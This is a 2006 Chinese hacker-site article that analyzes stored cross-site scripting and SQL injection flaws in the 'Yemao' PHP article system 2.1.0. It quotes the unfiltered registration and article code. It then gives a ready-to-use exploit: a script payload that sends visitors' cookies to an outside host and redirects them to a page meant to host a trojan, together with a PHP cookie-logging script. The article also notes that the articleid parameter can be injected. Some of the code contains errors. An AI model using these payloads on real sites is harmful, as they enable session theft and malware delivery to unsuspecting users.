| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 安全防御 >> 漏洞分析 >> 文章正文 用户登录 新用户注册
  夜猫文章系统Version 2.1.0跨站及注入漏洞         ★★★ 【字体:
夜猫文章系统Version 2.1.0跨站及注入漏洞
作者:xyt    文章来源:黑客x档案    点击数:    更新时间:2006-1-3    

文章已发表于<<黑客x档案>>2006年第一期 
  跨站漏洞:夜猫文章系统的代码量不是很大,那我们就从最基本的开始吧,打开注册页面register.php看到如下代码if ($_POST[action] == "adduser"): 

?> 

<br><br><br><center><table cellpadding=4 cellspacing=1 border=0 width=70%> 
<tr><td bgcolor=#878787 align=center> 
<font color=white>用户注册登记</font> 
</td></tr> 
<tr><td bgcolor=#efefef> 

<? 
  $birthday = $b_year."-".$b_month."-".$b_day; 
register($setting[user_reg_usergroupid],$_POST[username],$_POST[password],$_POST[email],$_POST[sex],$_POST[birthday],$_POST[homepage],$_POST[icq],$_POST[oicq],$_POST[race],$_POST[signature],$_POST[ipaddress],$_POST[realname],$_POST[realname1],$_POST[organization],$_POST[organization1],$_POST[country],$_POST[country1],$_POST[province],$_POST[province1],$_POST[city],$_POST[city1],$_POST[address],$_POST[address1],$_POST[zip],$_POST[phone],$_POST[fax],$_POST[idnumber],$_POST[referrerid]); 
?> 

是用一个专门的函数register()来进行提交,大概看了一下提交的变量,第一个user_reg_usergroupid好象有点名堂可惜不是我们提交的,而且我们也不能伪造,那我们就看看这个注册函数怎么定义的,打开function.php看到如下代码(代码太长这里只给出关键的语句): 

$sql = "INSERT INTO $ymcity_user_table (usergroupid,username,password,email,sex,birthday,homepage,icq,oicq,race,experience,money,signature,joindate,ipaddress,realname,realname1,organization,organization1,country,country1,province,province1,city,city1,address,address1,zip,phone,fax,idnumber,referrerid) VALUES (’$usergroupid’,’$username’,’$password’,’$email’,’$sex’,’$birthday’,’$homepage’,’$icq’,’$oicq’,’$race’,’$experience’,’$money’,’$signature’,’$timenow’,’$ipaddress’,’$realname’,’$realname1’,’$organization’,’$organization1’,’$country’,’$country1’,’$province’,’$province1’,’$city’,’$city1’,’$address’,’$address1’,’$zip’,’$phone’,’$fax’,’$idnumber’,’$referrerid’)"; 
mysql_db_query($dbname,$sql); 

函数直接获取我们提交的变量然后就大大方方的插入到数据库里了,并没有任何想过滤的意思,这样当我们注册资料时,所有提交都会原封不动的写进数据库里,当我们尝试访问注册信息时,如果我们写的是跨站代码,就会被浏览器就会解析掉,漏洞就产生了 
-------------------------------------------- 
  利用方法:<div>标记可以包围任意种类的HTML标记,它会对处于它起始标记到结束标记之间的所有标记起作用,对<script>当然也可以了,我们可以这样写,为了让大家看清楚我把功能分开写 
<div align=center><script>windows.open(’http://www.hackerxfiles.com/cookie.php?’+document.cookie);</script> 
<script>alert(’X档案的地盘!’);self.location=’http://www.hackerxfiles.com/muma.htm/’;</script></div>其中http://www.hackerxfiles.com/cookie.php是假设我们偷cookie的页面,cookie.php代码如下:<?php 
$cookie=getenv("QUERY_STRING"); 
  if($cookie){ 
  $cookie=urldecode($cookie);} 
  $fp=@fopen("xY7.txt","a+"); 
  @fwrite($fp,$cookie;"\n"); 
  @fclose($fp); 
?>这样我们偷的cookie就会写到xY7.txt里了,之后会谈出一个提示框,点确定后就会转到我们假设挂马的页面http://www.hackerxfiles.com/muma.htm了. 
-------------------------------------------- 
  注入漏洞:漏洞页面article.php第36行开始,代码如下: 
  if ($_GET[articleid] > "0"): 
   $sql = "SELECT * FROM $ymcity_article_table WHERE articleid=’$_GET[articleid]’"; 
   $result = mysql_db_query($dbname, $sql); 
   $row = mysql_fetch_array($result); 
程序并没有过滤articleid这个变量,我们就可以随便注了...-_-

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    鸟儿学破解系列文章之一 软件
    网上惊现博客杀手 点击博客文
    trim()的漏洞破解与防护+文章
    飞龙文章管理系统 Ver 2.0 B
    动力文章系统入侵
    菜鸟必看的破解文章-爆破软件
    安全天使(sarticle)文章管理
    第一期非安全杂志文章录用一
    Discuz4.1.0 WAP发表文章跨站
    夜猫系列[留言薄+文章系统+y
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.